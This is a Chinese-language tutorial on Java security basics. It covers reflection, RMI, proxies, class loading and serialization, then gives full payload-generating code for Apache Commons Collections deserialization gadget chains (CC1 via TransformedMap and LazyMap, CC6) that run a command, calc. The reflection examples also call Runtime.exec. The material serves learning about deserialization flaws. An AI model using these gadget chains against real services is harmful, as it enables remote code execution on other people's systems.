跳转至

Java安全基础

反射机制

Java
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;

/**
 * @author dikesi
 */
public class Reflection {
    public static void main(String[] args) throws Exception {
        RunReflect runtest=new RunReflect();
        runtest.execute("TestReflect","test");
//        如果要获取嵌套类需要使用$
//        如:TestReflect$ReflectionOfClass表明获取嵌套类
//        runtest.PrintInfo();
//        除了forName以外还可以.class或者getclass()方法获取
        System.out.println("the class is "+RunReflect.class);
        System.out.println("the class is "+runtest.getClass());
//        runtest.ExecuteCommand();
//        runtest.PrivateReflection();
        runtest.HackReflection();
    }

}

class TestReflect{
    public TestReflect(){
        System.out.println("this method is for testing forName");
    }
    public void test(String name)
    {
        System.out.println("this name is " + name);
    }
//    类的嵌套
    public class ReflectionOfClass{
        public ReflectionOfClass(TestReflect outer) {
            // 构造方法中可以使用外部类的实例
        }
        public void ReflectTestClass(String name)
        {
            System.out.println("your name is " + name);
        }
    }
}

class TestHackedReflect{
    private TestHackedReflect(){
        System.out.println("我是私有方法,你怎么利用呢?");
    }
    public void PrintFlag(){
        System.out.println("这都被你利用成功了,flag{you_win}");
    }
}

class RunReflect{
//    用反射来调用类函数
    public void execute(String className, String methodName) throws Exception {
//        获取类对象
//        forName方法不会触发获取的类的构造方法即不会对类进行初始化
//        但是static修饰的静态构造方法可以触发,如果有一个反射类的接口且传入的类名可控,那么我们就可以编写一个恶意类
//        如下所示:
//        class TouchFile{
//            static{
//                try{
//                    Runtime rt=Runtime.getRuntime();
//                    String[]commands={"touch","/tmp/success"};
//                    Process pc=rt.exec(commands);
//                    pc.waitFor();
//                }catch(Exception e) {
//// do nothing
//                }
//            }
//        }
        Class clazz = Class.forName(className);
//        获取方法对象
        Method executeMethod = clazz.getMethod(methodName, String.class);
//        如果有参数要指定参数类型
//        调用函数
        executeMethod.invoke(clazz.newInstance(),"test");
//        如果有参数,要传入参数
    }
//    打印反射获取到的信息
    public void PrintInfo() throws Exception {
        Class test=Class.forName("TestReflect");
        System.out.println("the classname is "+test.getName());
        Method method=test.getMethod("test",String.class);
        System.out.println("the method name is "+method.getName());
    }

    public void ExecuteCommand() throws Exception {
//        Class clazz = Class.forName("java.lang.Runtime");
//        clazz.getMethod("exec",
//                String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),
//                "calc.exe");
//        如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们需要用到一个新的反射方法 getConstructor
//        和 getMethod 类似, getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载,
//        所以必须用参数列表类型才能唯一确定一个构造函数
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
//        另一种构造方式构造反射
//        Class clazz = Class.forName("java.lang.ProcessBuilder");
//        clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));
    }
    //        如果一个方法或构造方法是私有方法,我们需要使用getDeclared系列反射
//        getMethod和getDeclaredMethod的区别
//        getMethod 系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
//        getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了
//        getDeclaredMethod 的具体用法和 getMethod 类似, getDeclaredConstructor 的具体用法和getConstructor 类似。
    public void PrivateReflection() throws Exception {
//      Runtime类为私有的构造方法
        Class clazz=Class.forName("java.lang.Runtime");
        Constructor m=clazz.getDeclaredConstructor();
        m.setAccessible(true);
        clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe");
//        直接反射调用Runtime中的函数会触发警告,但是命令还是执行了的
    }

    public void HackReflection() throws Exception {
        Class clazz = Class.forName("TestHackedReflect");
        Constructor<?> constructor = clazz.getDeclaredConstructor();
//        如果涉及到的方法为私有的,必须要有setAccessible(true)
        constructor.setAccessible(true);
        Object instance = constructor.newInstance();
        Method method = clazz.getMethod("PrintFlag");
//        PrintFlag方法为public,所以不用setAccessible(true),但如果PrintFlag为private,就必须要有
//        method.setAccessible(true);
        method.invoke(instance);
    }


}
Java
import java.lang.reflect.Field;

public class ReflectionExample {
    public static void main(String[] args) throws Exception {
        // 获取类的 Class 对象
        Class<?> clazz = MyClass.class;

        // 获取类的所有字段
        Field[] fields = clazz.getDeclaredFields();

        // 遍历字段并打印属性信息
        for (Field field : fields) {
            System.out.println("Field Name: " + field.getName());
            System.out.println("Field Type: " + field.getType());
            System.out.println("Field Modifier: " + field.getModifiers());
            System.out.println();
        }
    }

    static class MyClass {
        private int myPrivateField;
        public String myPublicField;
    }
}

在示例代码中,我们首先获取了 MyClass 类的 Class 对象。然后,使用 getDeclaredFields() 方法获取类的所有字段的数组。

接下来,我们通过遍历字段数组,使用 getName() 方法获取字段名,使用 getType() 方法获取字段的类型,使用 getModifiers() 方法获取字段的修饰符,如 public 或 private。

最后,我们打印每个字段的属性信息。

需要注意的是,通过反射获取字段时,包括私有字段,但需要注意字段的访问权限。如果字段是私有的,我们可能需要使用 setAccessible(true) 方法设置为可访问,以便在获取和设置字段值时避免访问权限限制。

RMI(远程通信的机制)

RMIClient.java

Java
package org.vulhub.Train;
import org.vulhub.RMI.RMIServer;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
/**
 * @author yifan
 */
public class RMIClient{
    public static void main(String[]args)throws Exception{
        RMIServer.IRemoteHelloWorld hello=(RMIServer.IRemoteHelloWorld)
        Naming.lookup("rmi://192.168.1.104:1099/Hello");
        String ret=hello.hello();
        System.out.println(ret);
        }
}

RMIServer.java

Java
package org.vulhub.RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
/*
RMI全称是Remote Method Invocation,远程方法调⽤用。从这个名字就可以看出,他的⽬目标和RPC其实
是类似的,是让某个Java虚拟机上的对象调⽤用另一个Java虚拟机中对象上的⽅方法,只不不过RMI是Java独
有的一种机制。
*/
public class RMIServer {
    public interface IRemoteHelloWorld extends Remote {
        public String hello() throws RemoteException;
    }

    public class RemoteHelloWorld extends UnicastRemoteObject implements
            IRemoteHelloWorld {
        protected RemoteHelloWorld() throws RemoteException {
            super();
        }

        public String hello() throws RemoteException {
            System.out.println("call from");
            return "Hello world";
        }
    }

    private void start() throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}

RMi解读

Java对象代理

静态代理

Java
/**
 * 创建Person接口
 */
interface Person {
    //上交班费
    void giveMoney();
}

public class Test {
    public static void main(String[] args)
    {
        //被代理的学生张三,他的班费上交有代理对象monitor(班长)完成
        Person zhangsan = new Student("张三");

        //生成代理对象,并将张三传给代理对象
        Person monitor = new StudentsProxy(zhangsan);

        //班长代理上交班费
        monitor.giveMoney();
    }
}

class Student implements Person {
    private String name;
    public Student(String name) {
        this.name = name;
    }

    @Override
    public void giveMoney() {
        System.out.println(name + "上交班费50元");
    }
}

/**
 * 学生代理类,也实现了Person接口,保存一个学生实体,这样既可以代理学生产生行为
 *
 */
class StudentsProxy implements Person{
    //被代理的学生
    Student stu;

    public StudentsProxy(Person stu) {
        // 只代理学生对象
        if(stu.getClass() == Student.class) {
            this.stu = (Student)stu;
        }
    }

    //代理上交班费,调用被代理学生的上交班费行为
    public void giveMoney() {
        stu.giveMoney();
    }
}

代理模式最主要的就是有一个公共接口(Person),一个具体的类(Student),一个代理类(StudentsProxy),代理类持有具体类的实例,代为执行具体类实例方法。上面说到,代理模式就是在访问实际对象时引入一定程度的间接性,因为这种间接性,可以附加多种用途。这里的间接性就是指不直接调用实际对象的方法,那么我们在代理过程中就可以加上一些其他用途。就这个例子来说,加入班长在帮张三上交班费之前想要先反映一下张三最近学习有很大进步,通过代理模式很轻松就能办到:

Java
public class StudentsProxy implements Person{
    //被代理的学生
    Student stu;

    public StudentsProxy(Person stu) {
        // 只代理学生对象
        if(stu.getClass() == Student.class) {
            this.stu = (Student)stu;
        }
    }

    //代理上交班费,调用被代理学生的上交班费行为
    public void giveMoney() {
        System.out.println("张三最近学习有进步!");
        stu.giveMoney();
    }
}

动态代理

Java
package Deserialization;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

// 定义一个接口
interface Calculator {
    int add(int a, int b);
}

// 实际的对象类
class CalculatorImpl implements Calculator {
    public int add(int a, int b) {
        return a + b;
    }
}

// 自定义的 InvocationHandler 实现类
class LoggingHandler implements InvocationHandler {
    private Object target;

    public LoggingHandler(Object target) {
        this.target = target;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Before invoking method: " + method.getName());

        // 实际方法调用
        Object result = method.invoke(target, args);

        System.out.println("After invoking method: " + method.getName());

        return result;
    }
}

public class ObjectProxy {
    public static void main(String[] args) {
        // 创建实际对象
        Calculator calculator = new CalculatorImpl();

        // 创建代理对象
        Calculator proxy = (Calculator) Proxy.newProxyInstance(
                Calculator.class.getClassLoader(),
                new Class<?>[] { Calculator.class },
                new LoggingHandler(calculator)
        );

        // 使用代理对象进行方法调用
        int result = proxy.add(2, 3);
        System.out.println("Result: " + result);
    }
}

代码解释

这段代码展示了基于Java动态代理的对象代理实现。

首先,我们定义了一个接口Calculator,其中包含了add方法,用于计算两个整数的和。然后,我们创建了一个实际的对象类CalculatorImpl,实现了Calculator接口,并在add方法中实现了具体的加法操作。

接下来,我们创建了一个自定义的InvocationHandler实现类LoggingHandler,它会在代理对象的方法调用前后进行日志记录。在invoke方法中,我们首先打印出即将调用的方法名称,然后通过反射调用实际对象的方法,得到结果后再打印出方法名称,最后返回结果。

在main方法中,我们首先创建了一个实际对象CalculatorImpl,然后通过Proxy.newProxyInstance方法创建了一个代理对象proxy,该方法接受三个参数:类加载器、要实现的接口数组和InvocationHandler实例。这样,我们得到了一个实现了Calculator接口的代理对象。

最后,我们使用代理对象proxy进行方法调用proxy.add(2, 3),实际上会通过代理对象的invoke方法来调用实际对象CalculatorImpl的add方法,同时在调用前后会输出日志。最终,我们将计算结果打印出来。

关于invoke方法

invoke方法会在代理对象的方法被调用时自动触发。

当我们通过Proxy.newProxyInstance方法创建代理对象时,使用了指定的InvocationHandler实例。代理对象的所有方法调用都会被重定向到InvocationHandler的invoke方法中。每当代理对象调用一个方法时,invoke方法就会被自动触发。

在invoke方法中,我们可以根据需要对方法进行预处理或后处理。我们可以获取到被调用的方法对象Method,可以获取方法的参数args,并可以通过method.invoke(target, args)来调用实际对象的相应方法。同时,我们还可以根据需要在方法调用前后进行其他的逻辑操作,比如进行日志记录、性能统计等。

总结来说,invoke方法是动态代理的核心方法,用于处理代理对象的方法调用,并允许我们在方法调用前后添加自定义的逻辑。

对象代理调用方法的本质是通过invoke方法调用的


静态代理和动态代理的作用类似于python的修饰器,都是用于在一个函数之前或者之后执行某些操作


java动态代理实现与原理详细分析

类加载机制

简介

在Java的世界里,每一个类或者接口,在经历编译器后,都会生成一个个.class文件。

类加载机制指的是将这些.class文件中的二进制数据读入到内存中,并对数据进行校验,解析和初始化。最终,每一个类都会在方法区保存一份它的元数据,在堆中创建一个与之对应的Class对象。

类的生命周期,经历7个阶段,分别是加载、验证、准备、解析、初始化、使用、卸载。

除了**使用**和**卸载**两个过程,前面的**5**个阶段 加载、验证、准备、解析、初始化 的执行过程**,**就是类的加载过程。

类加载的时机

大多数人在问 “类什么时候加载” 和 “类什么时候初始化” ,从语境上来说,都是在问同一个问题,就是这个.class文件什么时候被读取到虚拟机的内存中,并且达到可用的状态。

但严格意义上来说,加载和初始化,是类生命周期的两个阶段。

对于什么时候加载,Java虚拟机规范中并没有约束,各个虚拟机都可以按自身需要来自由实现。但绝大多数情况下,都遵循“什么时候初始化”来进行加载。

什么时候初始化?Java虚拟机规范有明确规定,当符合以下条件时(包括但不限于),虚拟机内存中没有找到对应类型信息,则必须对类进行“初始化”操作:

  • 使用new实例化对象时、读取或者设置一个类的静态字段或方法时
  • 反射调用时,例如 Class.forName("com.xxx.MyTest")
  • 初始化一个类的子类,会首先初始化子类的父类
  • Java虚拟机启动时标明的启动类
  • JDK8 之后,接口中存在default方法,这个接口的实现类初始化时,接口会其之前进行初始化

初始化阶段开始之前,自然还是要先经历 加载、验证、准备 、解析的。

类的加载过程

从简介中,我们知道,类的加载过程分 5 个阶段,其中 验证、准备、解析 可以归纳为 “连接” 阶段。

img

需要注意的是,这5个阶段,并不是严格意义上的按顺序完成,在类加载的过程中,这些阶段会互相混合,交叉运行,最终完成类的加载和初始化。

例如在加载阶段,需要使用验证的能力去校验字节码正确性。在解析阶段,也要使用验证的能力去校验符号引用的正确性。或者加载阶段生成Class对象的时候,需要解析阶段符号引用转直接引用的能力等等......

接下来,我们详细分解一下,这5个阶段,都做了什么事情。

加载

加载是类加载过程的第一个阶段,在加载阶段,虚拟机需要完成以下三件事情:

  1. 通过一个类的全限定名去找到其对应的.class文件
  2. 将这个.class文件内的二进制数据读取出来,转化成方法区的运行时数据结构
  3. 在Java堆中生成一个代表这个类的java.lang.Class对象,作为对方法区中这些数据的访问入口

Java虚拟机并没有规定类的字节流必从.class文件中加载,在加载阶段,程序员可以通过自定义的类加载器,自行定义读取的地方,例如通过网络、数据库等。


此过程的1即是通过类加载器去完成的

验证

Class文件中的内容是字节码,这些内容可以由任何途径产出,验证阶段的目的是保证文件内容里的字节流符合Java虚拟机规范,且这些内容信息运行后不会危害虚拟机自身的安全。

验证阶段会完成以下校验:

文件格式验证:验证字节流是否符合Class文件格式的规范。例如:是否以0xCAFEBABE开头、主次版本号是否在当前虚拟机的处理范围之内、常量池中的常量是否有不被支持的类型 ...... 等等

元数据验证:对字节码描述的元数据信息进行语义分析,要符合Java语言规范。例如:是否继承了不允许被继承的类(例如final修饰过的)、类中的字段、方法是否和父类产生矛盾 ...... 等等

字节码验证:对类的方法体进行校验分析,确保这些方法在运行时是合法的、符合逻辑的。

符号引用验证:发生在**解析**阶段,符号引用转为直接引用的时候,例如:确保符号引用的全限定名能找到对应的类、符号引用中的类、字段、方法允许被当前类所访问 ...... 等等

验证阶段是非常重要的,但不是必须的,它对程序运行期没有影响,如果所引用的类经过反复验证,那么可以考虑采用-Xverifynone参数来关闭大部分的类验证措施,以缩短虚拟机类加载的时间。

验证阶段不是必须的,虽然这个阶段非常重要。Java虚拟机允许程序员主动取消这个阶段,用来缩短类加载的时间,可以根据自身需求,使用 -Xverify:none参数来关闭大部分的类验证措施。

准备

这个阶段,类的静态字段信息(即使用 static 修饰过的变量)会得到内存分配,并且设置为初始值。

对于该阶段有以下几个知识点需要注意:

1、内存分配仅包括 static 修饰过的变量,而不包括实例变量,实例变量得等到对象实例化时分配内存。

2、初始值指的是变量数据类型的默认值,而不是被在Java代码中被显式地赋予的值。但是,当字段信息被 final 修饰成常量(ConstantValue)时,这个初始值就是Java代码中显式地赋予的值。

例如:public static int value = 3 类变量 value 在准备阶段设置的初始值**是 0**,不是 3。把value赋值为3的 putstatic 指令是在程序编译后,存放于类构造器 () 方法中的,所以把 value 赋值为 3 的动作将在初始化阶段才会执行。 当使用 final 修饰后:public static final int value = 3 类变量 value 在准备阶段设置的初始值**是 3**,不是 0。

3、在JDK8取消永久代后,方法区变成了一个逻辑上的区域,这些类变量的内存实际上是分配在Java堆中的。

解析

这个阶段,虚拟机会把这个Class文件中,常量池内的符号引用转换为直接引用。主要解析的是 类或接口、字段、类方法、接口方法、方法类型、方法句柄等符号引用。我们可以把解析阶段中,符号引用转换为直接引用的过程,理解为当前加载的这个类,和它所引用的类,正式进行“连接“的过程。

什么是符号引用? Java代码在编译期间,是不知道最终引用的类型,具体指向内存中哪个位置的,这时候会用一个符号引用,来表示具体引用的目标是"谁"。Java虚拟机规范中明确定义了符号引用的形式,符合这个规范的前提下,符号引用可以是任意值,只要能通过这个值能定位到目标。

什么是直接引用? 直接引用就是可以直接或间接指向目标内存位置的指针或句柄。

引用的类型,还未加载初始化怎么办? 当出现这种情况,会触发这个引用对应类型的加载和初始化。

初始化

这是类加载的最后一个步骤啦,初始化的过程,就是执行类构造器 ()方法的过程。

当初始化完成之后,类中static修饰的变量会赋予程序员实际定义的“值”,同时类中如果存在static代码块,也会执行这个静态代码块里面的代码。

() 方法的作用是什么?

还记得么?在准备阶段,已经对类中static修饰的变量赋予了初始值。() 方法的作用,就是给这些变量赋予程序员实际定义的“值”。同时类中如果存在static代码块,也会执行这个静态代码块里面的代码。

() 方法是什么?

() 方法 和 方法是不同的,它们一个是“类构造器”,一个是实例构造器。 Java虚拟机会保证子类() 方法在执行前,父类的 () 已经执行完毕。而 方法则需要显性的调用父类的构造器。 () 方法由编译器自动生成,但不是必须生成的,只有这个类存在static修饰的变量,或者类中存在静态代码块但时候,才会自动生成()方法。

类加载器

还记得在**加载**阶段,通过类的全限定名,获取该类字节流数据的这个动作么,**类加载器**就是用来实现这个动作的。

当年为了满足浏览器上 Java Applet 的需求,Java的开发团队设计了类加载器,它独立于Java虚拟机外部,允许程序员按自身需要自行实现类加载器。这是一项非常优秀的创新,它让同一个类可以实现访问隔离、OSGi、程序热部署等等。发展至今,类加载器已经是Java技术体系的一块重要基石。

三层类加载器介绍

**启动类加载器(Bootstrap Class Loader):**负责加载\lib 目录,或者被 -Xbootclasspath 参数制定的路径,例如 jre/lib/rt.jar 里所有的class文件。由C++实现,不是ClassLoader子类。

**拓展类加载器(Extension Class Loader):**负责加载Java平台中扩展功能的一些jar包,包括\lib\ext 目录中 或 java.ext.dirs 指定目录下的jar包。由Java代码实现。

**应用程序类加载器(Application Class Loader):**我们自己开发的应用程序,就是由它进行加载的,负责加载ClassPath路径下所有jar包。

双亲委派模型

高端的食材往往只需要最简单的烹饪方式,而保证Java程序稳定运行的双亲委派模式,其实也非常简单:

双亲委派模式其实一句话就可以说清楚:任何一个类加载器在接到一个类的加载请求时,都会先让其父类进行加载,只有父类无法加载(或者没有父类)的情况下,才尝试自己加载。

img

ClassLoader 类中有示例,如下:

Java
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException
{
    // 首先要保证线程安全
    synchronized (getClassLoadingLock(name)) {
        // 先判断这个类是否被加载过
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            try {
                // 有父类,优先交给父类尝试加载
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
                // 父类加载失败,这里捕获异常,但不需要做任何处理
            }

            if (c == null) {
                // 没有父类,或者父类无法加载,尝试自己加载
                c = findClass(name);
            }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
}

双亲委派模型好处是什么?

在解答这个问题前,需要先了解一个知识点:不同的类加载器,加载同一个类,结果是虚拟机里会存在两份这个类的信息,所以当判断这两个类是否“相等”时,必定是不相等的。

使用双亲委派模式,可以保证,每一个类只会有一个类加载器。例如Java最基础的Object类,它存放在 rt.jar 之中,这是 Bootstrap 的职责范围,当向上委派到 Bootstrap 时就会被加载。

但如果没有使用双亲委派模式,可以任由自定义加载器进行加载的话,Java这些核心类的API就会被随意篡改。

Java类加载机制(全套)

反序列化

readObject/writeObject

readObject 和 writeObject 方法并不是每个 Java 类都具有的。它们是 Java 提供的特殊方法,用于在对象进行序列化和反序列化时进行自定义操作。

这两个方法通常是在实现 java.io.Serializable 接口的类中定义的。 java.io.Serializable 是一个标记接口,表示该类的对象可以被序列化和反序列化。

当一个类实现了 Serializable 接口后,它会默认继承以下方法:

  • private void writeObject(java.io.ObjectOutputStream out) throws IOException:用于自定义对象的序列化过程。可以在该方法中指定需要序列化的字段和自定义序列化逻辑。
  • private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException:用于自定义对象的反序列化过程。可以在该方法中指定如何从输入流中恢复对象的字段以及自定义反序列化逻辑。

这些方法是可选的,如果不需要进行自定义的序列化和反序列化操作,可以省略它们,而使用默认的序列化和反序列化机制。

需要注意的是,writeObject 和 readObject 方法必须具有 private 访问修饰符,以确保它们只能在对象内部被调用,而不会被外部代码调用。

代码示例

Java
import java.io.*;

public class Deserialization implements java.io.Serializable {
    public String name;
    public int age;

    Deserialization(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 序列化时自动调用
    private void writeObject(java.io.ObjectOutputStream s) throws IOException {
        s.defaultWriteObject();
        s.writeObject("This is a object");
    }

    // 反序列化时自动调用
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        String message = (String) s.readObject();
        System.out.println(message);
    }

    public static void main(String[] args) {
        // 创建一个 Deserialization 对象
        Deserialization obj = new Deserialization("John Doe", 30);

        try {
            // 序列化对象到文件
            FileOutputStream fileOut = new FileOutputStream("object.ser");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(obj);
            out.close();
            fileOut.close();
            System.out.println("Object serialized and saved to object.ser");

            // 反序列化对象
            FileInputStream fileIn = new FileInputStream("object.ser");
            ObjectInputStream in = new ObjectInputStream(fileIn);
            Deserialization deserializedObj = (Deserialization) in.readObject();
            in.close();
            fileIn.close();

            // 打印反序列化后的对象信息
            System.out.println("Deserialized Object:");
            System.out.println("Name: " + deserializedObj.name);
            System.out.println("Age: " + deserializedObj.age);
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

代码解释

代码定义了一个名为 Deserialization 的类,实现了 java.io.Serializable 接口,这意味着该类的对象可以被序列化和反序列化。Deserialization 类有两个公共成员变量 name 和 age,用于存储对象的名称和年龄。

构造函数 Deserialization(String name, int age) 用于初始化对象的名称和年龄。

代码中还定义了两个私有方法 writeObject(java.io.ObjectOutputStream s) 和 readObject(java.io.ObjectInputStream s),它们是 Java 提供的特殊方法,用于在序列化和反序列化过程中对对象进行自定义操作。

writeObject 方法在对象序列化时被调用,它通过调用 s.defaultWriteObject() 将 name 和 age 成员变量写入到输出流中,然后使用 s.writeObject("This is a object") 将一个字符串对象写入输出流中。

readObject 方法在对象反序列化时被调用,它通过调用 s.defaultReadObject() 从输入流中恢复 name 和 age 成员变量的值,然后使用 s.readObject() 读取输入流中的字符串对象,并将其转换为 message。

最后,在 readObject 方法中,字符串 message 被打印到控制台。

在使用该 Deserialization 类时,当对象被序列化和反序列化时,writeObject 和 readObject 方法将会被自动调用,实现自定义的对象序列化和反序列化操作。

commoncollections1 RCE链

环境准备

  • jdk版本:7
  • commons.collections包版本:3.1

TransformedMap 实现

原理部分代码
Java
package Deserialization;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
//                ConstantTransformer返回一个对象,这里是返回Runtime
                new InvokerTransformer("exec", new Class[]{String.class},
//                        InvokerTransformer用于执行函数命令
                        new Object[]
                                {"calc"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
//        ChainedTransformer创建一条回调链,将上一个回调的结果作为下一个的参数
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
//        在TransformedMap处理键的转化时就会触发回调从而触发我们的恶意代码
    }
}
Payload代码
Java
package Deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1Payload {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0]
                }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] {
                                "calc" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        sun.reflect.annotation.AnnotationInvocationHandler类中的readobject方法实现了向map插入key的操作,能触发我们的回调链
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
//        序列化
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
//        反序列化
        ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
//        调用readobject方法就会触发我们的回调链
        Object o = (Object)ois.readObject();
    }
}

LazyMap 实现

Java
package Deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1LazyMapPayload {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

commoncollections6 RCE链

Java
package Deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");
        Field f =
                ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
// 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

commoncollections3 RCE链

恶意demo(用于动态码加载)

Java
package Deserialization;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
